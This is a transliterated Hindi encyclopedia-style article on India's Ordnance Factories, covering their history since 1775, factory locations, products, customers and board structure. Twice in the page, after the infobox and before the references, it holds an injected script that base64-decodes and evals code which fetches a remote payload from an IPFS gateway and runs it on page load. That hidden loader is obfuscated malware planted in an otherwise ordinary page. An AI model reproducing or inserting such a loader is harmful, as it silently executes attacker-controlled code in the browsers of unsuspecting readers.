भारतीय आयुध निर्माणियाँ
bharatiy ayudh nirmaniyaan
| |
| vivaran | 'bharatiy ayudh nirmaniyaan' bharat ke raksha mantralay ke raksha utpadan vibhag ke aantargat kary karati haian. yah jal, thal tatha vayu pranaliyoan ke vyapak utpadoan ka utpadan, vikas evan unaka vikray karati haian. |
| desh | bharat |
| sthapana | 1775 |
| prakar | sarakari sangathan |
| udyog | raksha |
| mukhyalay | ayudh bhavan, kolakata |
| kul nirmani sankhya | 41 |
| sanbandhit lekh | raksha mantralay, grih mantralay, raksha anusandhan evan vikas sangathan |
| any janakari | bharat mean 1947 mean svatantrata prapti ke poorv kul 18 ayudh nirmaniyaan thian. svatantrata prapti ke uparaant 21 nimaniyoan ki sthapana ki gee, adhikaanshat: bharatiy sashastr baloan ke dvara tin pradhan yuddh l dane ke parinamasvaroop ki gee. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy ayudh nirmaniyaan (aangrezi: Indian Ordnance Factories) ek bhavy audyogik sanrachana haian, jo raksha mantralay ke raksha utpadan vibhag ke aantargat kary karati haian. bharatiy ayudh nirmaniyaan jisaka mukhyalay kolakata mean hai, vah 41 nirmaniyoan , 9 prashikshan sansthan, 3 kshetriy vipanan kendr or 4 kshetriy sanraksha niyantranalayoan ka samooh hai. yah jal, thal tatha vayu pranaliyoan ke vyapak utpadoan ka utpadan, parikshan, anusandhan, vikas evan unaka vikray karati haian.
itihas
bharatiy ayudh nirmaniyoan ka itihas evan vikas bharat mean aangrezi shasan kal se pratyaksh roop se ju da hua hai. iangalaiand ki eest iandiya kanpani ne bharat mean apane arthik labh evan apani rajanitik shakti ko badhane hetu sainy samagri ko mahatvapoorn avayav ke roop mean sthapit kiya. san 1775 ke dauran british pradhikariyoan ne fort viliyam, kolakata mean ayudh nirmani ki sthapana ki svikriti pradan ki. yah bharat mean thal sena ayudh ke prarambh ko darshata hai. san 1787 mean eeshapur gan paudar phaiktari ki sthapana ki gee evan 1791 se isaka utpadan shuroo hua.[1] san 1801 mean kashipur, kolakata mean topaga di ejeansi[2] ki sthapana ki gee evan isaka utpadan 18 march, 1802 se hone laga. yah ayudh nirmaniyoan ki pratham audyogik sthapana thi, jo apane astitv ko aj ki tithi tak kayam rakhe hue hai.
tivr vikas
apani vartaman pratishtha mean agrasar ayudh nirmaniyaan nirantar parantu atyant tivr gati se vikas kar rahi hai. bharat mean 1947 mean svatantrata prapti ke poorv kul 18 ayudh nirmaniyaan thian. svatantrata prapti ke uparaant 21 nimaniyoan ki sthapana ki gee, adhikaanshat: bharatiy sashastr baloan ke dvara tin pradhan yuddh l dane ke parinamasvaroop ki gee. bihar ke nalanda mean 40 vian phaiktari nirmanadhin hai.
pradatt suvidhaean
aj ayudh nirmani bord bharat mean phaili 41 nirmaniyoan ke sath nimn suvidhaean pradan karata hai-
- bahu-praudyogiki samarthyataoan ke sath ek brihath aur parivartaniy utpadan adhar.
- atyadhunik utpadan suvidhaean.
- kushal aur peshevar arhata prapt janashakti aur prabandhakiy karmikoan ka brihath bhandar.
- gunavata manakoan ka sakht palan[3]
- avashyakata adharit parishkaran evan sudhar ke lie maulik evan anukoolit anusandhan evan vikas.
- abhiyaantriki samarthyata ko age badhana.
- audyogik prashikshan suvidhaoan ke lie ek majaboot adhar.
- suvidhajanak sthan ke karan redi market tak pahuanch.
bhaugolik vistar
bharatavarsh me 41 ayudh nirmaniyaan 24 vibhinn bhaugolik sthanoan par sthit haian. ye nirmaniyaan evan mukhyalay vibhinn sthanoan mean sthit haian.
| kr.san. | rajy evan sangh shasit pradeshoan ke nam | nirmaniyoan ki sankhya |
|---|---|---|
| 1. | maharashtr | 10 |
| 2. | uttar pradesh | 9 |
| 3. | madhy pradesh | 6 |
| 4. | tamilanadu | 6 |
| 5. | pashchim bangal | 4 |
| 6. | uttaraanchal | 2 |
| 7. | aandhr pradesh | 1 |
| 8. | chandigadh | 1 |
| 9. | u disa | 1 |
| 10. | bihar | 1 |
utpad shreni tatha praudyogiki
ayudh nirmaniyoan mean utpadit samagri kafi parishkrit evan jatil prakriti ki haian. utpadoan ki shreniyaan samanyat: ashcharyajanak hai. utpad kisi bhi sashastr sena ke brihath evan sarvaangapoorn avashyakata ki poorti karate haian. yahaan ke utpad sanchalan mean surakshit, vishvasaniy evan sahi prayog ke samay pratikool paristhitiyoan me visham jalavayu mean bhi saman kshamata ke sath surakshit raheange. sanyantr aur praudyogikiyoan ka chunav is tarah kiya gaya hai ki uchch shreni ki gunata aur atyadhunik si en si praudyogiki ka mishran hai. utpad prakriya, abhiyaantriki ke b de bhag- mekenikal, ilaiktronikal, metalarjikal, rasayanik, teksataeel, aaupatiks aur ilektroniks ko shamil karati haian. nirmaniyoan ka yah prayatn hai ki vishv star ke utpadoan ka nirman suraksha pahaluoan, utpadoan evan prakriyaoan se bina samajhauta kie karean. suraksha manakoan ke palan ko uchch prathamikata di jati hai evan suraksha ke siddhaant aur apada prabandhak yojana sangathan mean chaloo hai. yahaan ke pramukh utpad haian- pistaul/riv aaulvar ki kharid, nagarik shastr evan karatoos, gola, barood, visfotak, nodak evan rasayan; sainy vahan, kavachayukt vahan, prakashik upakaran, pairashoot, sahayak upaskar, samany bhandar tatha mal, avayav evan vishesh kary hetu mashinean.
grahak
bharatiy ayudh nirmaniyoan ke chunianda grahak bharatiy sashastr senaean haian. sashastr senaoan ko ayudh ki apoorti ke atirikt, ayudh nirmaniyaan any doosare upabhoktaoan ki maangoan ko bhi poora karati haian, jaise- gola barood, vastr, bulet pruph vahan aur surang pratirodhi vahan ki apoorti ityadi. niryat ke ayatan mean vriddhi evan isake kary vistar mean phailav ayudh nirmaniyoan ka pramukh uddeshy rahata hai. bharatiy thal sena, bharatiy nausena, bharatiy vayu sena tatha grih mantralay chunianda grahak haian.
- sivil tred
uparokt ke alava sivil kshetr mean bhi bahut se grahak haian, jaise- sarakari vibhag, sarvajanik kshetr ke upakram, niji kampaniyaan evan ityadi kshetroan mean atyadhik sankhya mean grahak haian, jo ki audyogik rasayan, visphotak, en pi bi hathiyar evan gola barood, bras inagots, elyoominiyam el aauy utpad, stil kastiang evan phorjiang, vahan, vastr evan cham de ka saman, kebal evan aaupto ilaiktraniks yantr ki kharid karate haian.
- niryat
bharat evan videshoan mean aantarrashtriy pradarshani mean bhag lekar aantarrashtriy midiya mean vijnapan dvara utpad prachar, mitr deshoan se pratinidhiyoan ke agaman se bheantavarta dvara, ejeant evan grahakoan ke pratinidhi dvara bharat evan videsh donoan mean niryat ko badhane hetu bharatiy ayudh nirmaniyaan sashakt prayas kar rahi haian. ye nepal, thailaiand, maleshiya, jarmani, tarki ke paramparik bazaroan mean adhar ko banaye rakhate hue apane utpadoan ka niryat kar rahi haian evan yoo. es. e., iandoneshiya, oman, shrilanka, baangladesh, ijarail evan ijipt (misr) jaise deshoan ke sath naya bazar kholane hetu prayasarat haian. ayudh evan gola barood, shastroan ke kalapurje, rasayan evan visphotak, cham da evan vastr samanoan ko vishv ke vikasashil deshoan ke sath-sath vikasit deshoan ko bhi niryat kie ge haian.
ayudh nirmani parivar
41 ayudh nirmaniyoan ka ek parivar- bharatiy ayudh nirmaniyaan sangathan, apane sanyukt mukhyalay ayudh nirmani bord, kolakata ke sanrakshan mean ayudh nirman mean 200 varshoan se adhik ka anubhav rakhata hai. ye jal, thal tatha vayu pranaliyoan ke vyapak utpadoan ka utpadan, parikshan, anusandhan, vikas evan unaka vikray karati haian. bharat evan videshoan mean prapt sanrakshan isake utpadoan aur sevaoan ki gunavatta ka bakhan karate haian. nissandeh, ye sashastr senaoan ko sashakt karati haian. bharatiy ayudh nirmaniyaan sabase purani evan sabase b da audyogik dhaancha haian jo raksha mantralay ke raksha utpadan vibhag ke aantargat kary karati haian. ayudh nirmaniyaan raksha hardaveyar (yantr samagri) saman evan upaskar ke svadeshi utpadan ke lie sashastr senaoan ko adhunikatam yuddhabhoomi upaskaroan se sajjit karane ke praranbhik uddeshyoan ke sath ekanishth adhar ki sanrachana karati haian.
adhyaksh tatha bord
shirsh bord ki adhyakshata, adhyaksh ke roop mean mahanideshak ayudh nirmaniyaan (di. ji. o. eph.) dvara ki jati hai evan isamean apar mahanideshak pad ke 9 sadasy shamil haian. ayudh nirmaniyoan ko 5 prachalan prabhag mean vibhakt kiya gaya hai, jo mukhy utpadoan/praudyogiki par nirbhar karata hai. ye nimn prakar haian-
- gola barood evan visphotak (e eand ee)
- shastr, vahan evan upaskar (dabloo vi eand ee)
- samagri evan ghatak (em eand si)
- kavachit vahan (e vi)
- ayudh upaskar nirmani samooh (o ee eph)
uparyukt pratyek nirmani samooh ki adhyakshata sadasy/apar mahanideshak, ayudh nirmaniyaan dvara ki jati hai. any char sadasyoan par staph prakary, yatha karmik (ka.), vitt (vi.), yojana evan samagri prabandhan (pi eand em em), takaniki sevaean (ti es), ka uttaradayitv hota hai evan ve isaka sanchalan kolakata se karate haian.
- padanukram
| gred | kshetr mean padanam | mukhyalay mean pad |
|---|---|---|
| jooniyar taim skel | sahayak kary prabandhak | sahayak nideshak |
| siniyar taim skel | kary prabandhak | up nideshak |
| siniyar taim skel (gair-kriyatmak) | up mahaprabandhak | sanyukt nideshak |
| kanishth prashasanik gred (kriyatmak) | sanyukt mahaprabandhak | nideshak |
| varishth prashasanik gred | apar. jiem / mahaprabandhak | up mahanideshak |
| uchch prashasanik gred | varishth mahaprabandhak | varishth up mahanideshak |
| uchch prashasanik gred (+) | shoony | apar. bord ke mahanideshak aur sadasy |
| sarvochch skel | shoony | mahanideshak ayudh nirmaniyoan (DGOF) aur ayudh karakhana bord ke adhyaksh |
mukhy ghatanaean
ayudh nirmaniyoan ke vikas kram ki mukhy ghatanaean nimn prakar se soochibaddh ki ja sakati haian-
- 1801 - kashipur, kolakata mean gan kairij ejeansi ki sthapana.
- 1802 - 18 march, 1802 se kashipur mean utpadan ki shuruat.
- 1906 - bharatiy ayudh nirmaniyoan ke prashasan ka dayitv 'aee ji ayudh nirmaniyoan' ke adhin a gaya.
- 1933 - nideshak, ayudh nirmaniyaan ko prabhar pradan kiya gaya.
- 1948 - raksha mantralay ke sighe niyantran ke adhin.
- 1962 - raksha mantralay mean raksha utpadan vibhag ki sthapana ki gee.
- 1979 - dinaank 2 aprail se ayudh nirmani bord asttitv mean aya.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh